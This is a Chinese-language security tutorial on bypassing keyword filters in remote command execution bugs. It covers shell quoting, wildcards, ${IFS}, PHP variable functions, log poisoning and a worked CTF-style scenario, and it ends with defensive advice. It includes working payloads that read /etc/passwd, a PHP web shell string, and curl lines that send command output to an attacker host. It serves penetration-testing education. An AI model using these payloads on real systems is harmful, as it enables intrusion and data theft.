1. 从“黑名单”到“白名单”:理解远程命令执行的攻防本质
在安全测试和渗透测试的日常工作中,远程命令执行(RCE)漏洞无疑是皇冠上的明珠,也是最具破坏力的漏洞类型之一。它意味着攻击者能够直接在目标服务器上执行任意系统命令,从而完全控制服务器。然而,现实中的防护措施往往不是“裸奔”的,最常见的一道防线就是
关键字过滤
。开发人员或安全设备会设置一个“黑名单”,将
system
、
exec
、
bash
、
cat
、
flag
等敏感命令或路径直接拦截。很多初学者遇到这种过滤就束手无策,觉得无路可走。
但我想告诉你的是,
关键字过滤从来都不是铜墙铁壁,它更像是一扇布满破洞的木门
。防守方在明处,他们只能基于已知的、有限的“坏词”进行拦截;而攻击者在暗处,拥有近乎无限的编码、混淆和变形手段。绕过关键字过滤的核心思路,就是利用系统、编程语言或上下文环境的特性,构造出功能上等价于被禁命令,但字符串形态上完全不同的“payload”。这本质上是一场关于“表达”的博弈。收藏这篇文章,你将系统地掌握从基础到进阶的各种绕过手法,理解其背后的原理,而不仅仅是记忆几个Payload。当你下次再看到
preg_match("/system|exec|shell/i", $cmd)
这样的代码时,你的脑海中会自然浮现出至少三五种绕过方案。
2. 基础原理:命令是如何被解析和执行的?
在开始学习绕过技巧之前,我们必须先夯实基础:一个命令字符串是如何最终变成系统调用的?理解这个过程,是创造所有绕过手法的源泉。
2.1 Shell的命令解析流程
当我们输入
ls -la /tmp
并按下回车后,Shell(如Bash、Zsh)并不是直接把这个字符串扔给操作系统。它会经历一个复杂的解析过程:
-
词法分析
:将输入字符串拆分成一个个“词元”(token)。例如,
ls、-la、/tmp被识别为三个独立的词元。引号内的内容(如"my file")会被视为一个整体。 -
解析
:根据Shell的语法规则,构建命令树。识别出命令名(
ls)、选项(-l、-a)、参数(/tmp)、管道(|)、重定向(>)等结构。 -
扩展
:执行各种替换。这是最关键的一步,包括:
-
变量扩展
:
$HOME会被替换成/home/user。 -
命令替换
:
`whoami`或$(whoami)会先执行内部的whoami命令,并将其输出结果替换到原位置。 -
通配符扩展
:
*.txt会被替换成当前目录下所有.txt文件名的列表。 -
波浪号扩展
:
~被替换为家目录路径。
-
变量扩展
:
- 重定向与管道设置 :建立输入输出流。
-
命令执行
:最终,Shell调用
execve()等系统调用,将处理后的命令名和参数数组传递给内核,启动新进程。
绕过启示 :过滤程序通常只在第1步或第3步之前,对原始输入字符串进行简单的字符串匹配。如果我们能利用第3步(扩展)或Shell语法的其他特性,在过滤之后才“生成”真正的敏感命令,就能成功绕过。
2.2 编程语言中的命令执行函数
在PHP、Python、Java等Web应用中,命令执行通常通过特定函数触发。以PHP为例:
-
system($command):执行外部命令,并输出结果。 -
exec($command, $output, $return_var):执行命令,不直接输出,可将结果存入数组。 -
shell_exec($command):通过Shell环境执行命令,以字符串形式返回全部输出。 -
`$command`(反引号):与shell_exec()功能相同。 -
passthru($command, $return_var):执行命令并直接输出原始结果。 -
popen()/proc_open():更底层的进程控制接口。
绕过启示
:过滤可能针对函数名(如
system
)或命令参数(如
cat /etc/passwd
)。我们的任务就是让“函数调用”或“命令字符串”在通过过滤检查时“看起来人畜无害”,而在实际执行时“露出獠牙”。
注意 :在实际漏洞利用中,首先要通过代码审计或黑盒测试(如修改参数观察回显、报错)来确定目标到底使用了哪个函数,以及过滤发生在哪个环节。盲目尝试会事倍功半。
3. 初级绕过:利用Shell与编码的特性
这一层的绕过手法不依赖特定编程语言,主要利用Shell解释器自身的特性,适合在直接获取Shell交互环境或通过
shell_exec
、反引号执行命令时使用。
3.1 命令分隔与拼接
Shell提供了多种方式将多个命令写在一行,或动态拼接命令字符串。
-
分号
;:顺序执行。id; ls会先执行id,再执行ls。即使前面的命令失败,后面的也会继续执行。 -
逻辑运算符
&&与||:-
&&:前一个命令成功(返回0)才执行后一个。ping -c 1 example.com && cat /etc/passwd,只有ping通了才会执行cat。 -
||:前一个命令失败(返回非0)才执行后一个。invalid_command || whoami,因为invalid_command失败,所以执行whoami。
-
-
管道
|:将前一个命令的输出作为后一个命令的输入。常用于过滤。例如,过滤cat:echo /etc/passwd | xargs cat。xargs将其输入作为参数传递给后面的命令。 -
命令替换内联拼接
:这是绕过关键字过滤的利器。假设
cat被过滤,我们可以用:
或者更隐蔽地:a=c; b=at; c=/etc/passwd; $a$b $c
这里利用了通配符/???/??t /???/??ss???(匹配单个字符)和*(匹配多个字符)。/???/??t可能匹配到/bin/cat,/???/??ss??可能匹配到/etc/passwd。这种方式的匹配具有不确定性,但在很多简单环境下有效。
实操心得
:在测试时,可以先用
echo
命令测试拼接效果,确认无误后再执行。例如:
a=c;b=at;echo $a$b
,输出应为
cat
,证明拼接成功。
3.2 转义与引号妙用
引号和转义字符可以改变Shell对字符串的解释方式。
-
反斜杠转义
:在单个字符前加
\,可以使其失去特殊含义,或者(在某些情况下)使其成为普通字符的一部分。对于绕过简单的基于字符串匹配的过滤,有时插入无关的转义符可能有效,但这取决于过滤器的严格程度。更常见的用法是处理文件名中的空格。 -
单引号与双引号
:
-
单引号
':强引用,内部所有字符都视为字面量,不进行任何扩展。 -
双引号
":弱引用,会进行变量扩展和命令替换,但不进行通配符扩展。 -
绕过技巧
:如果过滤器愚蠢地只匹配连续的
cat,那么c'a't、c"a"t、c\at在Shell解释后都是cat。因为引号在定义字符串时被移除,转义符也被处理。但请注意,c'a't作为一个整体字符串,在PHP的preg_match中很可能依然会被/cat/匹配到,因为正则表达式匹配的是字符串内容,不考虑引号。这种方法对简单的字符串匹配(如strpos())可能有效,但对正则匹配通常无效。
-
单引号
3.3 利用环境变量与通配符
这是Linux/Unix系统特性带来的天然绕过方式。
-
环境变量截取
:
${PATH:0:1}返回变量PATH值的第一个字符。${PATH:1:1}返回第二个字符。我们可以用这个来拼出命令。
这种方法较为繁琐,但展示了可能性。# 假设 /bin 在 PATH 中,其第一个字符是 / # 但更常用的是利用其他命令的输出或变量 c=$(echo "cat" | cut -c1); a=$(echo "cat" | cut -c2-3); t=$(echo "cat" | cut -c4); $c$a$t /etc/passwd -
通配符的威力
:如前所述,
?和*是强大的通配符。-
寻找
cat:/usr/bin/c?t、/bin/ca?。 -
寻找文件:
/etc/pass*d、/???/pass??。 -
/bin目录下有很多短小精悍的命令 ,当cat、more、less都被过滤时,可以尝试:-
tac:反向输出文件(cat的反写)。 -
rev:反向输出每一行。 -
head、tail、nl(加行号输出)、od(八进制输出)、xxd(十六进制输出)。这些命令可能不在过滤名单上。
-
-
寻找
常见问题
:使用通配符时,如果匹配到多个文件怎么办?例如,
/???/??t
可能匹配到
/bin/cat
、
/bin/net
等。这会导致命令执行错误。因此,在利用时,尽量使用更精确的匹配,或者通过目录限制(如
/bin/c?t
)。
4. 中级绕过:编程语言特性与编码混淆
当漏洞出现在Web应用中,我们面对的是PHP、Python、Java等语言的过滤逻辑。这时需要利用这些语言自身的特性。
4.1 字符串构造与变形
这是最直接的方法,目标是在代码层面构造出“cat”这个字符串,但写法千变万化。
-
字符串拼接
:
// PHP $cmd = "c"."a"."t"; system($cmd . " /etc/passwd"); // Python import os cmd = "c" + "a" + "t" os.system(cmd + " /etc/passwd") // 利用数组 join // PHP $arr = array("c", "a", "t"); $cmd = implode("", $arr); // 得到 "cat" system($cmd); -
字符串反转、截取、编码
:
// 反转 $cmd = strrev("tac"); // 得到 "cat" // 截取 $str = "abcathij"; $cmd = substr($str, 2, 3); // 从位置2开始取3个字符,得到 "cat" // Base64编码(需要解码函数) $cmd = base64_decode("Y2F0"); // 解码后得到 "cat" // 注意:如果目标环境没有调用解码函数,编码后的字符串本身无法执行。 -
异或运算(XOR)
:在PHP中,两个字符串进行异或运算,可以产生新的字符串。这是绕过WAF(Web应用防火墙)的经典手法。
// 例如,构造 "cat" // ‘c’ 的ASCII码是 99, ‘a’是97, ‘t’是116。 // 我们可以找到另外两个字符串,使它们的每个字符异或后得到 c, a, t。 // 一个常见的技巧是利用全局变量(如 $_GET)的键名进行异或。 // 简化示例:在安全测试工具中,可以自动化生成这样的Payload。 // 手工构造非常复杂,通常借助脚本。 -
利用进制转换
:
// 八进制 system("\143\141\164 /etc/passwd"); // \143 是八进制表示的 'c' // 十六进制 system(hex2bin("636174") . " /etc/passwd"); // 636174 是 "cat" 的十六进制
注意事项
:这些方法能否成功,
极度依赖于过滤逻辑的严格程度
。如果过滤器使用正则表达式
/cat/i
进行匹配,那么简单的字符串拼接
"c"."at"
在拼接后形成的完整命令参数中,依然包含连续的 “cat” 子串,
很可能会被匹配到
。高级的过滤器甚至会模拟执行字符串拼接操作后再进行检查。因此,更有效的方法是让敏感关键字在
执行阶段
才动态生成,而不是在静态代码中拼接出来。
4.2 动态函数调用与可变变量
这是PHP中非常强大的特性,也是绕过静态关键字过滤的杀手锏。
-
可变函数
:如果一个变量名后有圆括号
(),PHP会尝试将该变量的值作为函数名来调用。$func = 'system'; $func('whoami'); // 这将调用 system('whoami') // 如果 'system' 被过滤,我们可以用其他方式构造这个字符串 $a = 'sy'; $b = 'stem'; $func = $a . $b; $func('whoami'); -
可变变量
:使用美元符号
$$。$command = 'whoami'; $a = 'command'; system($$a); // 等价于 system($command),即 system('whoami') // 可以嵌套混淆 $b = 'a'; system($$$b); // 解析:$$$b -> $$a -> $command -> 'whoami'
实操要点
:配合字符串构造技巧,可以将函数名和参数都拆解得支离破碎。例如,过滤器可能检查
$_GET['cmd']
中是否包含
system
。我们可以这样传参:
?cmd=whoami&1=sy&2=stem
后端代码可能是:
$func = $_GET[1] . $_GET[2]; // 拼接成 'system'
$cmd = $_GET['cmd']; // 'whoami'
$func($cmd);
这样,在原始输入参数里,完全找不到连续的
system
字符串。
4.3 利用包含与序列化(PHP特定)
当直接执行点被堵死,可以考虑曲线救国。
-
文件包含配合日志注入
:如果有关键字过滤,但存在文件包含漏洞(LFI),可以将命令写入日志文件,然后包含该日志文件使其执行。
-
用户输入会被记录到访问日志或错误日志中。例如,我们请求
http://target/<?php system($_GET[‘c’]);?>。 -
这个请求的URL中包含PHP代码,可能会被原样记录在
access.log中。 -
利用文件包含漏洞包含这个日志文件:
?file=/var/log/apache2/access.log。 - 日志文件被包含时,其中的PHP代码会被解析执行。
-
绕过逻辑
:过滤可能只针对某个特定的参数(如
?cmd=),但对User-Agent、Referer等HTTP头或URL路径的过滤较弱。我们可以将Payload放在这些地方注入到日志中。
-
用户输入会被记录到访问日志或错误日志中。例如,我们请求
-
反序列化漏洞
:如果应用使用了不安全的反序列化,可以构造一个恶意的序列化对象,在其
__destruct()或__wakeup()魔术方法中调用命令执行函数。这种方式完全脱离了普通的参数传递,关键字过滤往往形同虚设。但这需要了解目标应用的类结构,属于更高级的利用。
5. 高级绕过:操作系统特性与无字母数字构造
当过滤极其严格,甚至禁用了大部分特殊字符时,就需要祭出这些“奇技淫巧”。
5.1 Linux下的通配符进阶利用
在Bash中,通配符在扩展前,会先尝试将其作为命令执行。这一点可以被利用。
-
/bin目录的妙用 :/bin目录下有很多单字母或双字母的命令,如[、b、c、d、w、ls、cp、dd等。我们可以用通配符?来匹配它们。 -
构造无字母数字的Shell
:这是经典的技巧,仅使用
$0、$@、$*、?、*、/等字符来启动一个Shell。# 方法1:利用 /bin/bash 的通配符匹配 /???/????? # 可能匹配到 /bin/bash # 但这需要运气,因为 /usr/bin/python 也可能匹配。 # 方法2:更可靠的方法是利用环境变量和通配符生成 `sh` # 假设我们可以控制一个环境变量或参数,使其值为 `/bin/sh` # 或者利用已有的命令,如: ${PATH:0:1} # 得到 ‘/‘ # 但构造起来非常复杂,通常需要结合其他漏洞。 # 一个著名的技巧是:在Bash中,`$0` 代表当前脚本或Shell的名称。 # 如果我们能令 `$0` 的值为 `-bash` 或 `-sh`,加上参数 `-c`,就能执行命令。 # 例如,在某些CGI或特殊调用场景下可以实现。
实际案例
:在有些CTF题目中,过滤了所有字母和数字,只允许使用
$
、
_
、
{}
、
?
、
*
、
/
等少数字符。解题思路通常是:
-
用
?或*匹配到/bin目录下的某个脚本或程序。 -
利用这个程序(如
base64、bc、awk、sed)的读写或计算功能,将命令写入文件或直接执行。 -
例如,用
base64解码一个预先写好的Payload。
5.2 利用已有命令进行文件读写
当
cat
、
more
、
less
、
head
、
tail
全部被禁时,我们还可以:
-
使用
awk:awk '{print}' /etc/passwd可以打印文件全部内容。awk 'NR==1' /etc/passwd打印第一行。 -
使用
sed:sed -n 'p' /etc/passwd打印所有行。 -
使用
perl或python:如果系统安装了这些解释器,它们就是最强大的武器。perl -e 'print `whoami`' # 执行命令 perl -e 'open(F, "/etc/passwd"); print while(<F>);' # 读文件 python -c "import os; print(os.popen('whoami').read())" python -c "print(open('/etc/passwd').read())" -
使用
curl或wget外带数据 :如果命令执行有回显但被过滤,或者无回显,可以将结果发送到自己的服务器。curl http://your-server.com/`whoami` # 或者 whoami | base64 | curl -X POST --data-binary @- http://your-server.com -
使用
dd命令 :dd本是用于转换和复制文件的,但可以用来读取文件:dd if=/etc/passwd。甚至可以用来写文件(向服务器写入Webshell)。
排查技巧 :在得到一个有限的命令执行点后,第一件事就是探测可用命令。可以尝试:
# 查看PATH
echo $PATH
# 查看 /bin 和 /usr/bin 目录下的文件
/bin/ls /bin
/usr/bin/ls /usr/bin
# 寻找特定工具
which awk python perl nc curl wget php find
5.3 空格绕过
空格也常常是过滤对象,因为它是命令参数的分隔符。绕过方法有:
-
${IFS}:在Shell中,IFS是内部字段分隔符,默认包含空格、制表符、换行符。cat${IFS}/etc/passwd。 -
$IFS$9:$9通常是第9个参数,通常为空。$IFS$9连在一起,中间的空格来自IFS。cat$IFS$9/etc/passwd。 -
重定向符
<和<>:cat</etc/passwd。<将文件内容作为命令的标准输入。 -
制表符
%09(URL编码) :在某些上下文中,制表符也可以作为分隔符。cat%09/etc/passwd。 -
花括号
{cat,/etc/passwd}:这种写法不需要空格。{cat,/etc/passwd}会依次执行cat和/etc/passwd,但通常用于其他目的,不过在这种语法下,逗号分隔了参数。
6. 实战演练与综合Payload构造
理论学得再多,不如动手一试。我们模拟一个经典的场景:一个PHP页面存在命令执行漏洞,但对
system
、
exec
、
passthru
、
shell_exec
、反引号等函数名,以及
cat
、
flag
、
etc
、
passwd
、
bin
、
sh
、
bash
等关键字进行了黑名单过滤。
假设漏洞代码片段如下:
<?php
$cmd = $_GET['input'];
$blacklist = array('system', 'exec', 'passthru', 'shell_exec', 'cat', 'flag', 'etc', 'passwd', 'bin', 'sh', 'bash');
foreach ($blacklist as $badword) {
if (stripos($cmd, $badword) !== false) {
die('Hacker detected!');
}
}
// 假设这里危险地使用了 eval 或类似函数执行了 $cmd
// 例如:eval("system('" . $cmd . "');");
// 注意:这是一个极度危险且不真实的示例,仅用于教学。
?>
我们的目标是读取
/etc/passwd
文件。
攻击思路演进:
-
尝试基础拼接
:
?input=c\at /etc/passwd。失败,因为stripos会在字符串中找到cat。 -
尝试引号分割
:
?input=c'a't /etc/passwd。失败,原因同上。 -
尝试使用其他命令
:
?input=tail /etc/passwd。成功!因为tail不在黑名单。 第一课:永远先尝试黑名单外的替代命令。 -
如果
tail也被加入黑名单 :?input=more /etc/passwd-> 尝试less、head、nl、od -c /etc/passwd、xxd /etc/passwd。 -
如果所有读文件命令都被禁
:考虑使用脚本语言。
?input=php -r "echo file_get_contents('/etc/passwd');"。但php可能也被禁。 -
使用通配符
:
?input=/???/c?t /???/pass??。这里/???/c?t可能匹配到/bin/cat,但字符串中包含了cat和pass,会被过滤。需要更巧妙的通配符,或者绕过路径关键字。 -
绕过路径关键字
:
/etc/passwd包含etc和passwd。我们可以:-
使用绝对路径的另一种表示:
/???/??????可能匹配到/etc/passwd,但不稳定。 -
使用父目录引用:
/etc/passwd等价于/etc/./passwd,也等价于/etc/../etc/passwd。但etc还是出现了。 -
使用变量或命令替换生成路径
:这是关键。假设我们能执行命令,可以先获取路径。
但这里又涉及写文件,可能需要# 假设我们可以先执行一个无过滤的命令 ?input=echo /etc/passwd > /tmp/path.txt # 然后读取这个临时文件 ?input=/???/c?t /tmp/path.txtecho和>,这些可能不被过滤。
-
使用绝对路径的另一种表示:
-
终极思路:编码外带
:如果目标能出网,最稳妥的方式是将结果编码后通过HTTP/DNS请求发送出来。
或者更隐蔽地,使用?input=curl -X POST http://your-server.com --data "$(/???/c?t /???/?????? | base64)"ping命令通过ICMP包带出数据(需要接收端监听ICMP),或者使用dig通过DNS隧道。
一个综合Payload示例(假设仅过滤关键字,不过滤
$()
和空格)
:
?input=c\a\t /etc/passwd
这个简单的Payload可能对
stripos
无效,但对某些简单的
str_replace
过滤可能有效,因为
str_replace('cat', '', $cmd)
处理
c\at
时,找不到连续的
cat
字符串。
更高级的,利用变量和通配符 :
?input=a=c;b=at;$a$b /etc/passwd
在Shell中,分号分隔命令,变量拼接后执行。但注意,整个参数字符串在PHP中仍然是
a=c;b=at;$a$b /etc/passwd
,其中包含了
at
和
passwd
,可能被过滤。我们需要避免这些子串。
最终,一个可能成功的Payload是 :
?input=/???/c?t /???/??????
这个字符串中不包含任何完整的黑名单词汇
cat
,
passwd
,只包含
c
、
t
、
p
、
s
、
d
等字母和通配符。能否成功取决于服务器端的
stripos
过滤逻辑。如果它只是简单检查输入字符串是否包含黑名单词,那么这个Payload就能绕过。这就是黑名单过滤的固有缺陷:无法穷尽所有可能的表现形式。
7. 防御视角:如何构建更安全的过滤?
知己知彼,百战不殆。了解了这么多绕过手法,从防御者角度,我们应该怎么做?
-
白名单优于黑名单
:这是最重要的原则。如果可能,只允许用户输入有限的、预定义的、安全的选项(如
ls,pwd,date),而不是允许输入任意命令。 -
严格输入验证
:
-
类型与范围
:如果参数应该是数字,就用
is_numeric()或intval()严格校验。 - 长度限制 :限制输入字符串的长度。
-
字符集限制
:只允许字母、数字、下划线等必要字符。使用正则表达式如
/^[a-zA-Z0-9_]+$/进行校验。
-
类型与范围
:如果参数应该是数字,就用
-
避免直接命令执行
:这是治本之策。寻找不需要调用Shell命令的编程语言替代方案。例如,用PHP的
scandir()代替ls,用file_get_contents()代替cat,用unlink()代替rm。 -
如果必须执行命令
:
- 使用白名单映射 :将用户输入映射到预定义的命令和参数。
-
使用安全的API
:如PHP的
escapeshellarg()或escapeshellcmd()函数。 但要注意 ,它们并非万能,在复杂情况下也可能被绕过(例如,配合通配符或环境变量注入时)。最佳实践是连同命令一起,用白名单限定参数。 -
降低权限
:以最低权限的用户身份(如
www-data)运行Web服务,并配置适当的文件系统权限(chroot jail, AppArmor, SELinux)。 -
禁用危险函数
:在
php.ini中,使用disable_functions指令禁用system,exec,passthru,shell_exec,proc_open,popen等函数。 - 使用自定义函数包装 :编写一个严格的命令执行函数,内部进行白名单校验、参数转义和日志记录。
-
纵深防御
:
- WAF(Web应用防火墙) :部署WAF可以拦截大量已知的攻击Payload。
- 定期更新与审计 :更新系统、中间件和应用程序,定期进行安全代码审计和渗透测试。
-
日志与监控
:详细记录所有命令执行操作,并设置告警机制,对异常行为(如执行
bash、wget、curl)进行实时告警。
绕过的艺术永无止境,而防御的本质是不断提高攻击的成本。对于开发者而言,最安全的方法就是永远不要相信用户的任何输入,并在设计之初就避免将用户输入与系统命令关联起来。对于安全研究者而言,理解这些绕过技巧,不仅能用于渗透测试,更能深刻理解防御的薄弱点所在,从而设计出更健壮的系统。



953

被折叠的 条评论
为什么被折叠?



